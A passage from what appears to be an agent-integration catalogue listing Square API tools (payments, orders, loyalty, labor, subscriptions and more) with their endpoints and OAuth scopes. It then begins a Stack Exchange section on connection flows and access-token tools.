GIFTCARDS_WRITE. square_post_v2_gift_cards_activities (write) — Create Gift Card Activity via POST /v2/gift-cards/activities POST /api/v1/square/v2/gift-cards/activities. Scopes: GIFTCARDS_WRITE. square_post_v2_gift_cards_by_gift_card_id_link_customer (write) — Link Customer To Gift Card via POST /v2/gift-cards/{gift_card_id}/link-customer POST /api/v1/square/v2/gift-cards/{gift_card_id}/link-customer. Scopes: GIFTCARDS_WRITE. square_post_v2_gift_cards_by_gift_card_id_unlink_customer (write) — Unlink Customer From Gift Card via POST /v2/gift-cards/{gift_card_id}/unlink-customer POST /api/v1/square/v2/gift-cards/{gift_card_id}/unlink-customer. Scopes: GIFTCARDS_WRITE. square_post_v2_gift_cards_from_gan (write) — Retrieve Gift Card From GAN via POST /v2/gift-cards/from-gan POST /api/v1/square/v2/gift-cards/from-gan. Scopes: GIFTCARDS_READ. square_post_v2_gift_cards_from_nonce (write) — Retrieve Gift Card From Nonce via POST /v2/gift-cards/from-nonce POST /api/v1/square/v2/gift-cards/from-nonce. Scopes: GIFTCARDS_READ. square_post_v2_inventory_adjustment_reasons_create (write) — Create Inventory Adjustment Reason via POST /v2/inventory/adjustment-reasons/create POST /api/v1/square/v2/inventory/adjustment-reasons/create. Scopes: INVENTORY_WRITE. square_post_v2_inventory_adjustment_reasons_delete (write) — Delete Inventory Adjustment Reason via POST /v2/inventory/adjustment-reasons/delete POST /api/v1/square/v2/inventory/adjustment-reasons/delete. Scopes: INVENTORY_WRITE. square_post_v2_inventory_adjustment_reasons_restore (write) — Restore Inventory Adjustment Reason via POST /v2/inventory/adjustment-reasons/restore POST /api/v1/square/v2/inventory/adjustment-reasons/restore. Scopes: INVENTORY_WRITE. square_post_v2_inventory_adjustment_reasons_retrieve (write) — Retrieve Inventory Adjustment Reason via POST /v2/inventory/adjustment-reasons/retrieve POST /api/v1/square/v2/inventory/adjustment-reasons/retrieve. Scopes: INVENTORY_READ. square_post_v2_inventory_batch_change (write) — Deprecated Batch Change Inventory via POST /v2/inventory/batch-change POST /api/v1/square/v2/inventory/batch-change. Scopes: INVENTORY_WRITE. square_post_v2_inventory_batch_retrieve_changes (write) — Deprecated Batch Retrieve Inventory Changes via POST /v2/inventory/batch-retrieve-changes POST /api/v1/square/v2/inventory/batch-retrieve-changes. Scopes: INVENTORY_READ. square_post_v2_inventory_batch_retrieve_counts (write) — Deprecated Batch Retrieve Inventory Counts via POST /v2/inventory/batch-retrieve-counts POST /api/v1/square/v2/inventory/batch-retrieve-counts. Scopes: INVENTORY_READ. square_post_v2_inventory_changes_batch_create (write) — Batch Change Inventory via POST /v2/inventory/changes/batch-create POST /api/v1/square/v2/inventory/changes/batch-create. Scopes: INVENTORY_WRITE. square_post_v2_inventory_changes_batch_retrieve (write) — Batch Retrieve Inventory Changes via POST /v2/inventory/changes/batch-retrieve POST /api/v1/square/v2/inventory/changes/batch-retrieve. Scopes: INVENTORY_READ. square_post_v2_inventory_counts_batch_retrieve (write) — Batch Retrieve Inventory Counts via POST /v2/inventory/counts/batch-retrieve POST /api/v1/square/v2/inventory/counts/batch-retrieve. Scopes: INVENTORY_READ. square_post_v2_invoices (write) — Create Invoice via POST /v2/invoices POST /api/v1/square/v2/invoices. Scopes: INVOICES_WRITE, ORDERS_WRITE. square_post_v2_invoices_by_invoice_id_cancel (write) — Cancel Invoice via POST /v2/invoices/{invoice_id}/cancel POST /api/v1/square/v2/invoices/{invoice_id}/cancel. Scopes: INVOICES_WRITE, ORDERS_WRITE. square_post_v2_invoices_by_invoice_id_publish (write) — Publish Invoice via POST /v2/invoices/{invoice_id}/publish POST /api/v1/square/v2/invoices/{invoice_id}/publish. Scopes: INVOICES_WRITE, ORDERS_WRITE. square_post_v2_invoices_search (write) — Search Invoices via POST /v2/invoices/search POST /api/v1/square/v2/invoices/search. Scopes: INVOICES_READ. square_post_v2_labor_break_types (write) — Create Break Type via POST /v2/labor/break-types POST /api/v1/square/v2/labor/break-types. Scopes: TIMECARDS_SETTINGS_WRITE. square_post_v2_labor_scheduled_shifts (write) — Create Scheduled Shift via POST /v2/labor/scheduled-shifts POST /api/v1/square/v2/labor/scheduled-shifts. Scopes: TIMECARDS_WRITE. square_post_v2_labor_scheduled_shifts_bulk_publish (write) — Bulk Publish Scheduled Shifts via POST /v2/labor/scheduled-shifts/bulk-publish POST /api/v1/square/v2/labor/scheduled-shifts/bulk-publish. Scopes: TIMECARDS_WRITE. square_post_v2_labor_scheduled_shifts_by_id_publish (write) — Publish Scheduled Shift via POST /v2/labor/scheduled-shifts/{id}/publish POST /api/v1/square/v2/labor/scheduled-shifts/{id}/publish. Scopes: TIMECARDS_WRITE. square_post_v2_labor_scheduled_shifts_search (write) — Search Scheduled Shifts via POST /v2/labor/scheduled-shifts/search POST /api/v1/square/v2/labor/scheduled-shifts/search. Scopes: TIMECARDS_READ. square_post_v2_labor_shifts (write) — Create Shift via POST /v2/labor/shifts POST /api/v1/square/v2/labor/shifts. Scopes: TIMECARDS_WRITE. square_post_v2_labor_shifts_search (write) — Search Shifts via POST /v2/labor/shifts/search POST /api/v1/square/v2/labor/shifts/search. Scopes: TIMECARDS_READ. square_post_v2_labor_timecards (write) — Create Timecard via POST /v2/labor/timecards POST /api/v1/square/v2/labor/timecards. Scopes: TIMECARDS_WRITE. square_post_v2_labor_timecards_search (write) — Search Timecards via POST /v2/labor/timecards/search POST /api/v1/square/v2/labor/timecards/search. Scopes: TIMECARDS_READ. square_post_v2_locations (write) — Create Location via POST /v2/locations POST /api/v1/square/v2/locations. Scopes: MERCHANT_PROFILE_WRITE. square_post_v2_locations_by_location_id_checkouts (write) — Create Checkout via POST /v2/locations/{location_id}/checkouts POST /api/v1/square/v2/locations/{location_id}/checkouts. Scopes: ORDERS_WRITE, PAYMENTS_WRITE. square_post_v2_locations_by_location_id_custom_attributes_by_key (write) — Upsert Location Custom Attribute via POST /v2/locations/{location_id}/custom-attributes/{key} POST /api/v1/square/v2/locations/{location_id}/custom-attributes/{key}. Scopes: MERCHANT_PROFILE_WRITE. square_post_v2_locations_by_location_id_transactions_by_transaction_id_capture (write) — Capture Transaction via POST /v2/locations/{location_id}/transactions/{transaction_id}/capture POST /api/v1/square/v2/locations/{location_id}/transactions/{transaction_id}/capture. Scopes: PAYMENTS_WRITE. square_post_v2_locations_by_location_id_transactions_by_transaction_id_void (write) — Void Transaction via POST /v2/locations/{location_id}/transactions/{transaction_id}/void POST /api/v1/square/v2/locations/{location_id}/transactions/{transaction_id}/void. Scopes: PAYMENTS_WRITE. square_post_v2_locations_custom_attribute_definitions (write) — Create Location Custom Attribute Definition via POST /v2/locations/custom-attribute-definitions POST /api/v1/square/v2/locations/custom-attribute-definitions. Scopes: MERCHANT_PROFILE_WRITE. square_post_v2_locations_custom_attributes_bulk_delete (write) — Bulk Delete Location Custom Attributes via POST /v2/locations/custom-attributes/bulk-delete POST /api/v1/square/v2/locations/custom-attributes/bulk-delete. Scopes: MERCHANT_PROFILE_WRITE. square_post_v2_locations_custom_attributes_bulk_upsert (write) — Bulk Upsert Location Custom Attributes via POST /v2/locations/custom-attributes/bulk-upsert POST /api/v1/square/v2/locations/custom-attributes/bulk-upsert. Scopes: MERCHANT_PROFILE_WRITE. square_post_v2_loyalty_accounts (write) — Create Loyalty Account via POST /v2/loyalty/accounts POST /api/v1/square/v2/loyalty/accounts. Scopes: LOYALTY_WRITE. square_post_v2_loyalty_accounts_by_account_id_accumulate (write) — Accumulate Loyalty Points via POST /v2/loyalty/accounts/{account_id}/accumulate POST /api/v1/square/v2/loyalty/accounts/{account_id}/accumulate. Scopes: LOYALTY_WRITE. square_post_v2_loyalty_accounts_by_account_id_adjust (write) — Adjust Loyalty Points via POST /v2/loyalty/accounts/{account_id}/adjust POST /api/v1/square/v2/loyalty/accounts/{account_id}/adjust. Scopes: LOYALTY_WRITE. square_post_v2_loyalty_accounts_search (write) — Search Loyalty Accounts via POST /v2/loyalty/accounts/search POST /api/v1/square/v2/loyalty/accounts/search. Scopes: LOYALTY_READ. square_post_v2_loyalty_events_search (write) — Search Loyalty Events via POST /v2/loyalty/events/search POST /api/v1/square/v2/loyalty/events/search. Scopes: LOYALTY_READ. square_post_v2_loyalty_programs_by_program_id_calculate (write) — Calculate Loyalty Points via POST /v2/loyalty/programs/{program_id}/calculate POST /api/v1/square/v2/loyalty/programs/{program_id}/calculate. Scopes: LOYALTY_READ. square_post_v2_loyalty_programs_by_program_id_promotions (write) — Create Loyalty Promotion via POST /v2/loyalty/programs/{program_id}/promotions POST /api/v1/square/v2/loyalty/programs/{program_id}/promotions. Scopes: LOYALTY_WRITE. square_post_v2_loyalty_programs_by_program_id_promotions_by_promotion_id_cancel (write) — Cancel Loyalty Promotion via POST /v2/loyalty/programs/{program_id}/promotions/{promotion_id}/cancel POST /api/v1/square/v2/loyalty/programs/{program_id}/promotions/{promotion_id}/cancel. Scopes: LOYALTY_WRITE. square_post_v2_loyalty_rewards (write) — Create Loyalty Reward via POST /v2/loyalty/rewards POST /api/v1/square/v2/loyalty/rewards. Scopes: LOYALTY_WRITE. square_post_v2_loyalty_rewards_by_reward_id_redeem (write) — Redeem Loyalty Reward via POST /v2/loyalty/rewards/{reward_id}/redeem POST /api/v1/square/v2/loyalty/rewards/{reward_id}/redeem. Scopes: LOYALTY_WRITE. square_post_v2_loyalty_rewards_search (write) — Search Loyalty Rewards via POST /v2/loyalty/rewards/search POST /api/v1/square/v2/loyalty/rewards/search. Scopes: LOYALTY_READ. square_post_v2_merchants_by_merchant_id_custom_attributes_by_key (write) — Upsert Merchant Custom Attribute via POST /v2/merchants/{merchant_id}/custom-attributes/{key} POST /api/v1/square/v2/merchants/{merchant_id}/custom-attributes/{key}. Scopes: MERCHANT_PROFILE_WRITE. square_post_v2_merchants_custom_attribute_definitions (write) — Create Merchant Custom Attribute Definition via POST /v2/merchants/custom-attribute-definitions POST /api/v1/square/v2/merchants/custom-attribute-definitions. Scopes: MERCHANT_PROFILE_WRITE. square_post_v2_merchants_custom_attributes_bulk_delete (write) — Bulk Delete Merchant Custom Attributes via POST /v2/merchants/custom-attributes/bulk-delete POST /api/v1/square/v2/merchants/custom-attributes/bulk-delete. Scopes: MERCHANT_PROFILE_WRITE. square_post_v2_merchants_custom_attributes_bulk_upsert (write) — Bulk Upsert Merchant Custom Attributes via POST /v2/merchants/custom-attributes/bulk-upsert POST /api/v1/square/v2/merchants/custom-attributes/bulk-upsert. Scopes: MERCHANT_PROFILE_WRITE. square_post_v2_online_checkout_payment_links (write) — Create Payment Link via POST /v2/online-checkout/payment-links POST /api/v1/square/v2/online-checkout/payment-links. Scopes: ORDERS_READ, ORDERS_WRITE, PAYMENTS_WRITE. square_post_v2_orders (write) — Create Order via POST /v2/orders POST /api/v1/square/v2/orders. Scopes: ORDERS_WRITE. square_post_v2_orders_batch_retrieve (write) — Batch Retrieve Orders via POST /v2/orders/batch-retrieve POST /api/v1/square/v2/orders/batch-retrieve. Scopes: ORDERS_READ. square_post_v2_orders_by_order_id_custom_attributes_by_custom_attribute_key (write) — Upsert Order Custom Attribute via POST /v2/orders/{order_id}/custom-attributes/{custom_attribute_key} POST /api/v1/square/v2/orders/{order_id}/custom-attributes/{custom_attribute_key}. Scopes: ORDERS_WRITE. square_post_v2_orders_by_order_id_pay (write) — Pay Order via POST /v2/orders/{order_id}/pay POST /api/v1/square/v2/orders/{order_id}/pay. Scopes: ORDERS_WRITE, PAYMENTS_WRITE. square_post_v2_orders_calculate (write) — Calculate Order via POST /v2/orders/calculate POST /api/v1/square/v2/orders/calculate. Scopes: none. square_post_v2_orders_clone (write) — Clone Order via POST /v2/orders/clone POST /api/v1/square/v2/orders/clone. Scopes: ORDERS_WRITE. square_post_v2_orders_custom_attribute_definitions (write) — Create Order Custom Attribute Definition via POST /v2/orders/custom-attribute-definitions POST /api/v1/square/v2/orders/custom-attribute-definitions. Scopes: ORDERS_WRITE. square_post_v2_orders_custom_attributes_bulk_delete (write) — Bulk Delete Order Custom Attributes via POST /v2/orders/custom-attributes/bulk-delete POST /api/v1/square/v2/orders/custom-attributes/bulk-delete. Scopes: ORDERS_WRITE. square_post_v2_orders_custom_attributes_bulk_upsert (write) — Bulk Upsert Order Custom Attributes via POST /v2/orders/custom-attributes/bulk-upsert POST /api/v1/square/v2/orders/custom-attributes/bulk-upsert. Scopes: ORDERS_WRITE. square_post_v2_orders_search (write) — Search Orders via POST /v2/orders/search POST /api/v1/square/v2/orders/search. Scopes: ORDERS_READ. square_post_v2_payments (write) — Create Payment via POST /v2/payments POST /api/v1/square/v2/payments. Scopes: PAYMENTS_WRITE. square_post_v2_payments_by_payment_id_cancel (write) — Cancel Payment via POST /v2/payments/{payment_id}/cancel POST /api/v1/square/v2/payments/{payment_id}/cancel. Scopes: PAYMENTS_WRITE. square_post_v2_payments_by_payment_id_complete (write) — Complete Payment via POST /v2/payments/{payment_id}/complete POST /api/v1/square/v2/payments/{payment_id}/complete. Scopes: PAYMENTS_WRITE. square_post_v2_payments_cancel (write) — Cancel Payment By Idempotency Key via POST /v2/payments/cancel POST /api/v1/square/v2/payments/cancel. Scopes: PAYMENTS_WRITE. square_post_v2_refunds (write) — Refund Payment via POST /v2/refunds POST /api/v1/square/v2/refunds. Scopes: PAYMENTS_WRITE. square_post_v2_sites_by_site_id_snippet (write) — Upsert Snippet via POST /v2/sites/{site_id}/snippet POST /api/v1/square/v2/sites/{site_id}/snippet. Scopes: ONLINE_STORE_SNIPPETS_WRITE. square_post_v2_subscriptions (write) — Create Subscription via POST /v2/subscriptions POST /api/v1/square/v2/subscriptions. Scopes: CUSTOMERS_READ, INVOICES_WRITE, ITEMS_READ, ORDERS_WRITE, PAYMENTS_WRITE, SUBSCRIPTIONS_WRITE. square_post_v2_subscriptions_bulk_swap_plan (write) — Bulk Swap Plan via POST /v2/subscriptions/bulk-swap-plan POST /api/v1/square/v2/subscriptions/bulk-swap-plan. Scopes: ITEMS_READ, SUBSCRIPTIONS_READ, SUBSCRIPTIONS_WRITE. square_post_v2_subscriptions_by_subscription_id_billing_anchor (write) — Change Billing Anchor Date via POST /v2/subscriptions/{subscription_id}/billing-anchor POST /api/v1/square/v2/subscriptions/{subscription_id}/billing-anchor. Scopes: ITEMS_READ, SUBSCRIPTIONS_READ, SUBSCRIPTIONS_WRITE. square_post_v2_subscriptions_by_subscription_id_cancel (write) — Cancel Subscription via POST /v2/subscriptions/{subscription_id}/cancel POST /api/v1/square/v2/subscriptions/{subscription_id}/cancel. Scopes: SUBSCRIPTIONS_WRITE. square_post_v2_subscriptions_by_subscription_id_pause (write) — Pause Subscription via POST /v2/subscriptions/{subscription_id}/pause POST /api/v1/square/v2/subscriptions/{subscription_id}/pause. Scopes: CUSTOMERS_READ, INVOICES_WRITE, ITEMS_READ, ORDERS_WRITE, PAYMENTS_WRITE, SUBSCRIPTIONS_WRITE. square_post_v2_subscriptions_by_subscription_id_resume (write) — Resume Subscription via POST /v2/subscriptions/{subscription_id}/resume POST /api/v1/square/v2/subscriptions/{subscription_id}/resume. Scopes: CUSTOMERS_READ, INVOICES_WRITE, ITEMS_READ, ORDERS_WRITE, PAYMENTS_WRITE, SUBSCRIPTIONS_WRITE. square_post_v2_subscriptions_by_subscription_id_swap_plan (write) — Swap Plan via POST /v2/subscriptions/{subscription_id}/swap-plan POST /api/v1/square/v2/subscriptions/{subscription_id}/swap-plan. Scopes: CUSTOMERS_READ, INVOICES_WRITE, ITEMS_READ, ORDERS_WRITE, PAYMENTS_WRITE, SUBSCRIPTIONS_WRITE. square_post_v2_subscriptions_search (write) — Search Subscriptions via POST /v2/subscriptions/search POST /api/v1/square/v2/subscriptions/search. Scopes: SUBSCRIPTIONS_READ. square_post_v2_team_members (write) — Create Team Member via POST /v2/team-members POST /api/v1/square/v2/team-members. Scopes: EMPLOYEES_WRITE. square_post_v2_team_members_bulk_create (write) — Bulk Create Team Members via POST /v2/team-members/bulk-create POST /api/v1/square/v2/team-members/bulk-create. Scopes: EMPLOYEES_WRITE. square_post_v2_team_members_bulk_update (write) — Bulk Update Team Members via POST /v2/team-members/bulk-update POST /api/v1/square/v2/team-members/bulk-update. Scopes: EMPLOYEES_WRITE. square_post_v2_team_members_jobs (write) — Create Job via POST /v2/team-members/jobs POST /api/v1/square/v2/team-members/jobs. Scopes: EMPLOYEES_WRITE. square_post_v2_team_members_search (write) — Search Team Members via POST /v2/team-members/search POST /api/v1/square/v2/team-members/search. Scopes: EMPLOYEES_READ. square_post_v2_terminals_actions (write) — Create Terminal Action via POST /v2/terminals/actions POST /api/v1/square/v2/terminals/actions. Scopes: PAYMENTS_WRITE. square_post_v2_terminals_actions_by_action_id_cancel (write) — Cancel Terminal Action via POST /v2/terminals/actions/{action_id}/cancel POST /api/v1/square/v2/terminals/actions/{action_id}/cancel. Scopes: PAYMENTS_WRITE. square_post_v2_terminals_actions_by_action_id_dismiss (write) — Dismiss Terminal Action via POST /v2/terminals/actions/{action_id}/dismiss POST /api/v1/square/v2/terminals/actions/{action_id}/dismiss. Scopes: none. square_post_v2_terminals_actions_search (write) — Search Terminal Actions via POST /v2/terminals/actions/search POST /api/v1/square/v2/terminals/actions/search. Scopes: PAYMENTS_READ. square_post_v2_terminals_checkouts (write) — Create Terminal Checkout via POST /v2/terminals/checkouts POST /api/v1/square/v2/terminals/checkouts. Scopes: PAYMENTS_WRITE. square_post_v2_terminals_checkouts_by_checkout_id_cancel (write) — Cancel Terminal Checkout via POST /v2/terminals/checkouts/{checkout_id}/cancel POST /api/v1/square/v2/terminals/checkouts/{checkout_id}/cancel. Scopes: PAYMENTS_WRITE. square_post_v2_terminals_checkouts_by_checkout_id_dismiss (write) — Dismiss Terminal Checkout via POST /v2/terminals/checkouts/{checkout_id}/dismiss POST /api/v1/square/v2/terminals/checkouts/{checkout_id}/dismiss. Scopes: none. square_post_v2_terminals_checkouts_search (write) — Search Terminal Checkouts via POST /v2/terminals/checkouts/search POST /api/v1/square/v2/terminals/checkouts/search. Scopes: PAYMENTS_READ. square_post_v2_terminals_refunds (write) — Create Terminal Refund via POST /v2/terminals/refunds POST /api/v1/square/v2/terminals/refunds. Scopes: PAYMENTS_WRITE. square_post_v2_terminals_refunds_by_terminal_refund_id_cancel (write) — Cancel Terminal Refund via POST /v2/terminals/refunds/{terminal_refund_id}/cancel POST /api/v1/square/v2/terminals/refunds/{terminal_refund_id}/cancel. Scopes: PAYMENTS_WRITE. square_post_v2_terminals_refunds_by_terminal_refund_id_dismiss (write) — Dismiss Terminal Refund via POST /v2/terminals/refunds/{terminal_refund_id}/dismiss POST /api/v1/square/v2/terminals/refunds/{terminal_refund_id}/dismiss. Scopes: none. square_post_v2_terminals_refunds_search (write) — Search Terminal Refunds via POST /v2/terminals/refunds/search POST /api/v1/square/v2/terminals/refunds/search. Scopes: PAYMENTS_READ. square_post_v2_transfer_orders (write) — Create Transfer Order via POST /v2/transfer-orders POST /api/v1/square/v2/transfer-orders. Scopes: INVENTORY_READ, INVENTORY_WRITE. square_post_v2_transfer_orders_by_transfer_order_id_cancel (write) — Cancel Transfer Order via POST /v2/transfer-orders/{transfer_order_id}/cancel POST /api/v1/square/v2/transfer-orders/{transfer_order_id}/cancel. Scopes: INVENTORY_READ, INVENTORY_WRITE. square_post_v2_transfer_orders_by_transfer_order_id_receive (write) — Receive Transfer Order via POST /v2/transfer-orders/{transfer_order_id}/receive POST /api/v1/square/v2/transfer-orders/{transfer_order_id}/receive. Scopes: INVENTORY_READ, INVENTORY_WRITE. square_post_v2_transfer_orders_by_transfer_order_id_start (write) — Start Transfer Order via POST /v2/transfer-orders/{transfer_order_id}/start POST /api/v1/square/v2/transfer-orders/{transfer_order_id}/start. Scopes: INVENTORY_READ, INVENTORY_WRITE. square_post_v2_transfer_orders_search (write) — Search Transfer Orders via POST /v2/transfer-orders/search POST /api/v1/square/v2/transfer-orders/search. Scopes: INVENTORY_READ. square_post_v2_vendors_bulk_create (write) — Bulk Create Vendors via POST /v2/vendors/bulk-create POST /api/v1/square/v2/vendors/bulk-create. Scopes: VENDOR_WRITE. square_post_v2_vendors_bulk_retrieve (write) — Bulk Retrieve Vendors via POST /v2/vendors/bulk-retrieve POST /api/v1/square/v2/vendors/bulk-retrieve. Scopes: VENDOR_READ. square_post_v2_vendors_create (write) — Create Vendor via POST /v2/vendors/create POST /api/v1/square/v2/vendors/create. Scopes: VENDOR_WRITE. square_post_v2_vendors_search (write) — Search Vendors via POST /v2/vendors/search POST /api/v1/square/v2/vendors/search. Scopes: VENDOR_READ. square_post_v2_webhooks_subscriptions (write) — Create Webhook Subscription via POST /v2/webhooks/subscriptions POST /api/v1/square/v2/webhooks/subscriptions. Scopes: none. square_post_v2_webhooks_subscriptions_by_subscription_id_signature_key (write) — Update Webhook Subscription Signature Key via POST /v2/webhooks/subscriptions/{subscription_id}/signature-key POST /api/v1/square/v2/webhooks/subscriptions/{subscription_id}/signature-key. Scopes: none. square_post_v2_webhooks_subscriptions_by_subscription_id_test (write) — Test Webhook Subscription via POST /v2/webhooks/subscriptions/{subscription_id}/test POST /api/v1/square/v2/webhooks/subscriptions/{subscription_id}/test. Scopes: none. square_put_v1_by_location_id_orders_by_order_id (write) — V1 Update Order via PUT /v1/{location_id}/orders/{order_id} PUT /api/v1/square/v1/{location_id}/orders/{order_id}. Scopes: ORDERS_WRITE. square_put_v2_bookings_by_booking_id (write) — Update Booking via PUT /v2/bookings/{booking_id} PUT /api/v1/square/v2/bookings/{booking_id}. Scopes: APPOINTMENTS_WRITE. square_put_v2_bookings_by_booking_id_custom_attributes_by_key (write) — Upsert Booking Custom Attribute via PUT /v2/bookings/{booking_id}/custom-attributes/{key} PUT /api/v1/square/v2/bookings/{booking_id}/custom-attributes/{key}. Scopes: APPOINTMENTS_WRITE. square_put_v2_bookings_custom_attribute_definitions_by_key (write) — Update Booking Custom Attribute Definition via PUT /v2/bookings/custom-attribute-definitions/{key} PUT /api/v1/square/v2/bookings/custom-attribute-definitions/{key}. Scopes: APPOINTMENTS_WRITE. square_put_v2_customers_by_customer_id (write) — Update Customer via PUT /v2/customers/{customer_id} PUT /api/v1/square/v2/customers/{customer_id}. Scopes: CUSTOMERS_WRITE. square_put_v2_customers_by_customer_id_groups_by_group_id (write) — Add Group To Customer via PUT /v2/customers/{customer_id}/groups/{group_id} PUT /api/v1/square/v2/customers/{customer_id}/groups/{group_id}. Scopes: CUSTOMERS_WRITE. square_put_v2_customers_custom_attribute_definitions_by_key (write) — Update Customer Custom Attribute Definition via PUT /v2/customers/custom-attribute-definitions/{key} PUT /api/v1/square/v2/customers/custom-attribute-definitions/{key}. Scopes: CUSTOMERS_WRITE. square_put_v2_customers_groups_by_group_id (write) — Update Customer Group via PUT /v2/customers/groups/{group_id} PUT /api/v1/square/v2/customers/groups/{group_id}. Scopes: CUSTOMERS_WRITE. square_put_v2_events_disable (write) — Disable Events via PUT /v2/events/disable PUT /api/v1/square/v2/events/disable. Scopes: none. square_put_v2_events_enable (write) — Enable Events via PUT /v2/events/enable PUT /api/v1/square/v2/events/enable. Scopes: none. square_put_v2_inventory_adjustment_reasons_update (write) — Update Inventory Adjustment Reason via PUT /v2/inventory/adjustment-reasons/update PUT /api/v1/square/v2/inventory/adjustment-reasons/update. Scopes: INVENTORY_WRITE. square_put_v2_inventory_adjustments_update (write) — Update Inventory Adjustment via PUT /v2/inventory/adjustments/update PUT /api/v1/square/v2/inventory/adjustments/update. Scopes: INVENTORY_WRITE. square_put_v2_invoices_by_invoice_id (write) — Update Invoice via PUT /v2/invoices/{invoice_id} PUT /api/v1/square/v2/invoices/{invoice_id}. Scopes: INVOICES_WRITE, ORDERS_WRITE. square_put_v2_labor_break_types_by_id (write) — Update Break Type via PUT /v2/labor/break-types/{id} PUT /api/v1/square/v2/labor/break-types/{id}. Scopes: TIMECARDS_SETTINGS_READ, TIMECARDS_SETTINGS_WRITE. square_put_v2_labor_scheduled_shifts_by_id (write) — Update Scheduled Shift via PUT /v2/labor/scheduled-shifts/{id} PUT /api/v1/square/v2/labor/scheduled-shifts/{id}. Scopes: TIMECARDS_WRITE. square_put_v2_labor_shifts_by_id (write) — Update Shift via PUT /v2/labor/shifts/{id} PUT /api/v1/square/v2/labor/shifts/{id}. Scopes: TIMECARDS_READ, TIMECARDS_WRITE. square_put_v2_labor_timecards_by_id (write) — Update Timecard via PUT /v2/labor/timecards/{id} PUT /api/v1/square/v2/labor/timecards/{id}. Scopes: TIMECARDS_READ, TIMECARDS_WRITE. square_put_v2_labor_workweek_configs_by_id (write) — Update Workweek Config via PUT /v2/labor/workweek-configs/{id} PUT /api/v1/square/v2/labor/workweek-configs/{id}. Scopes: TIMECARDS_SETTINGS_READ, TIMECARDS_SETTINGS_WRITE. square_put_v2_locations_by_location_id (write) — Update Location via PUT /v2/locations/{location_id} PUT /api/v1/square/v2/locations/{location_id}. Scopes: MERCHANT_PROFILE_WRITE. square_put_v2_locations_custom_attribute_definitions_by_key (write) — Update Location Custom Attribute Definition via PUT /v2/locations/custom-attribute-definitions/{key} PUT /api/v1/square/v2/locations/custom-attribute-definitions/{key}. Scopes: MERCHANT_PROFILE_WRITE. square_put_v2_merchants_custom_attribute_definitions_by_key (write) — Update Merchant Custom Attribute Definition via PUT /v2/merchants/custom-attribute-definitions/{key} PUT /api/v1/square/v2/merchants/custom-attribute-definitions/{key}. Scopes: MERCHANT_PROFILE_WRITE. square_put_v2_online_checkout_location_settings_by_location_id (write) — Update Location Settings via PUT /v2/online-checkout/location-settings/{location_id} PUT /api/v1/square/v2/online-checkout/location-settings/{location_id}. Scopes: MERCHANT_PROFILE_READ, MERCHANT_PROFILE_WRITE. square_put_v2_online_checkout_merchant_settings (write) — Update Merchant Settings via PUT /v2/online-checkout/merchant-settings PUT /api/v1/square/v2/online-checkout/merchant-settings. Scopes: MERCHANT_PROFILE_READ, MERCHANT_PROFILE_WRITE, PAYMENT_METHODS_READ. square_put_v2_online_checkout_payment_links_by_id (write) — Update Payment Link via PUT /v2/online-checkout/payment-links/{id} PUT /api/v1/square/v2/online-checkout/payment-links/{id}. Scopes: ORDERS_READ, ORDERS_WRITE, PAYMENTS_WRITE. square_put_v2_orders_by_order_id (write) — Update Order via PUT /v2/orders/{order_id} PUT /api/v1/square/v2/orders/{order_id}. Scopes: ORDERS_WRITE. square_put_v2_orders_custom_attribute_definitions_by_key (write) — Update Order Custom Attribute Definition via PUT /v2/orders/custom-attribute-definitions/{key} PUT /api/v1/square/v2/orders/custom-attribute-definitions/{key}. Scopes: ORDERS_WRITE. square_put_v2_payments_by_payment_id (write) — Update Payment via PUT /v2/payments/{payment_id} PUT /api/v1/square/v2/payments/{payment_id}. Scopes: PAYMENTS_WRITE. square_put_v2_subscriptions_by_subscription_id (write) — Update Subscription via PUT /v2/subscriptions/{subscription_id} PUT /api/v1/square/v2/subscriptions/{subscription_id}. Scopes: CUSTOMERS_READ, INVOICES_WRITE, ITEMS_READ, ORDERS_WRITE, PAYMENTS_WRITE, SUBSCRIPTIONS_WRITE. square_put_v2_team_members_by_team_member_id (write) — Update Team Member via PUT /v2/team-members/{team_member_id} PUT /api/v1/square/v2/team-members/{team_member_id}. Scopes: EMPLOYEES_WRITE. square_put_v2_team_members_by_team_member_id_wage_setting (write) — Update Wage Setting via PUT /v2/team-members/{team_member_id}/wage-setting PUT /api/v1/square/v2/team-members/{team_member_id}/wage-setting. Scopes: EMPLOYEES_WRITE. square_put_v2_team_members_jobs_by_job_id (write) — Update Job via PUT /v2/team-members/jobs/{job_id} PUT /api/v1/square/v2/team-members/jobs/{job_id}. Scopes: EMPLOYEES_WRITE. square_put_v2_transfer_orders_by_transfer_order_id (write) — Update Transfer Order via PUT /v2/transfer-orders/{transfer_order_id} PUT /api/v1/square/v2/transfer-orders/{transfer_order_id}. Scopes: INVENTORY_READ, INVENTORY_WRITE. square_put_v2_vendors_bulk_update (write) — Bulk Update Vendors via PUT /v2/vendors/bulk-update PUT /api/v1/square/v2/vendors/bulk-update. Scopes: VENDOR_WRITE. square_put_v2_vendors_by_vendor_id (write) — Update Vendor via PUT /v2/vendors/{vendor_id} PUT /api/v1/square/v2/vendors/{vendor_id}. Scopes: VENDOR_WRITE. square_put_v2_webhooks_subscriptions_by_subscription_id (write) — Update Webhook Subscription via PUT /v2/webhooks/subscriptions/{subscription_id} PUT /api/v1/square/v2/webhooks/subscriptions/{subscription_id}. Scopes: none. ================================================================================ ## Stack Exchange URL: https://www.agenticfabriq.com/integrations/stackexchange Section: Integrated Tools Stack Exchange — 177 MCP tools Provider key: stackexchange. Scopes: private_info, read_inbox, write_access. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. stackexchange_get_access_tokens_by_accesstokens (read) — Get access tokens by accessTokens via GET /access-tokens/{accessTokens} GET /api/v1/stackexchange/access-tokens/{accessTokens}. Scopes: none. stackexchange_get_access_tokens_by_accesstokens_invalidate (write, destructive) — Get access tokens invalidate by accessTokens via GET /access-tokens/{accessTokens}/invalidate GET /api/v1/stackexchange/access-tokens/{accessTokens}/invalidate. 